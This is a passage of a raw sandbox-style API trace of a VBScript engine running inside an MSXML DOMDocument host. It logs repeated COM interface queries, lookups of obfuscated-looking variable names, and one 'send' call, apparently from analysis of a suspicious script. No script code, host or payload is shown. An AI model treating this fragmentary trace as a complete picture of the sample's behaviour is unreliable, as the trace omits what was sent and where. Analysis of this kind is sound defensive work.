[3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153850 | out: ppvObject=0x153850*=0x0) returned 0x80004002 [0087.776] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.776] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.776] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.776] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0087.777] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0087.777] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.777] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.777] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.777] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.777] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1537dc | out: ppvObject=0x1537dc*=0x83fd368) returned 0x0 [0087.777] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1537d8 | out: ppvObject=0x1537d8*=0x83fd378) returned 0x0 [0087.777] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.777] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.777] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.777] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.777] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0087.777] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153864 | out: ppvObject=0x153864*=0x0) returned 0x80004002 [0087.777] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153880 | out: ppvObject=0x153880*=0x1112ba8) returned 0x0 [0087.778] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15386c | out: ppvObject=0x15386c*=0x0) returned 0x80004002 [0087.778] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0087.778] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0087.778] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15386c | out: ppvObject=0x15386c*=0x0) returned 0x80004002 [0087.778] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.778] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.778] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0087.778] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0087.778] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0087.778] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15387c | out: ppvObject=0x15387c*=0x0) returned 0x80004002 [0087.781] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.781] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.782] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.782] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0087.782] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0087.782] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.782] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.782] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.782] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.782] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153834 | out: ppvObject=0x153834*=0x83fd368) returned 0x0 [0087.782] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153830 | out: ppvObject=0x153830*=0x83fd378) returned 0x0 [0087.782] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153870 | out: ppvObject=0x153870*=0x0) returned 0x80004002 [0087.782] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.782] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.782] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.783] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.783] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15490c | out: ppvObject=0x15490c*=0x1112ba8) returned 0x0 [0087.783] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154910 | out: ppvObject=0x154910*=0x0) returned 0x80004002 [0087.783] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548e0 | out: ppvObject=0x1548e0*=0x83fd368) returned 0x0 [0087.783] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548dc | out: ppvObject=0x1548dc*=0x83fd378) returned 0x0 [0087.783] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x154910 | out: ppvObject=0x154910*=0x0) returned 0x80004002 [0087.783] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.783] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.783] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.783] DOMDocument:IUnknown:Release (This=0x555370) returned 0x1 [0087.783] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.784] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="eeree", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.784] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="eeree", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.784] GetCurrentThreadId () returned 0xd44 [0087.784] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.784] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.785] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yoha", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.785] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yoha", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.785] GetCurrentThreadId () returned 0xd44 [0087.785] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.785] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.785] malloc (_Size=0x804) returned 0x83fc220 [0087.785] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.785] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0087.785] DOMDocument:IDispatch:GetIDsOfNames (in: This=0x555370, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="send", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=5) returned 0x0 [0087.786] DOMDocument:IUnknown:AddRef (This=0x555370) returned 0x2 [0087.786] DOMDocument:IUnknown:QueryInterface (in: This=0x555370, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0087.786] DOMDocument:IDispatch:Invoke (in: This=0x555370, dispIdMember=5, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=0x83d6768, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x555370) returned 0x0 [0087.786] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1545dc | out: ppvObject=0x1545dc*=0x1112ba8) returned 0x0 [0087.786] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6cf9790 | out: ppvObject=0x6cf9790*=0x0) returned 0x80004002 [0087.786] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1545b4 | out: ppvObject=0x1545b4*=0x83fd368) returned 0x0 [0087.786] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1545b0 | out: ppvObject=0x1545b0*=0x83fd378) returned 0x0 [0087.786] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x754746b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x6cf9790 | out: ppvObject=0x6cf9790*=0x0) returned 0x80004002 [0087.786] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.786] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.786] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.788] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153aa8 | out: ppvObject=0x153aa8*=0x1112ba8) returned 0x0 [0087.788] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bb40f8 | out: ppvObject=0x6bb40f8*=0x0) returned 0x80004002 [0087.788] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153a80 | out: ppvObject=0x153a80*=0x83fd368) returned 0x0 [0087.788] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153a7c | out: ppvObject=0x153a7c*=0x83fd378) returned 0x0 [0087.788] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), riid=0x75486b30*(Data1=0x4f9f9fcb, Data2=0xe0f4, Data3=0x48eb, Data4=([0]=0xb7, [1]=0xab, [2]=0xfa, [3]=0x2e, [4]=0xa9, [5]=0x36, [6]=0x5c, [7]=0xb4)), ppvObject=0x6bb40f8 | out: ppvObject=0x6bb40f8*=0x0) returned 0x80004002 [0087.788] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0087.788] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0087.789] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.823] DOMDocument:IUnknown:Release (This=0x555370) returned 0x1 [0087.823] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.823] malloc (_Size=0x804) returned 0x83fc220 [0087.823] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.824] GetCurrentThreadId () returned 0xd44 [0087.824] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a30 | out: ppvObject=0x154a30*=0x11977a8) returned 0x0 [0087.824] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="sfo", grfdex=0x8, pid=0x154a4c | out: pid=0x154a4c*=1395508) returned 0x80020006 [0087.824] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="sfo", grfdex=0x8, pid=0x1549a4 | out: pid=0x1549a4*=-1) returned 0x80020006 [0087.824] GetCurrentThreadId () returned 0xd44 [0087.824] IUnknown:Release (This=0x11977a8) returned 0x6 [0087.824] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.825] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="oofofs", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="oofofs", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.825] GetCurrentThreadId () returned 0xd44 [0087.825] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.825] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.825] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="osdv", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="osdv", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.825] GetCurrentThreadId () returned 0xd44 [0087.825] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.825] 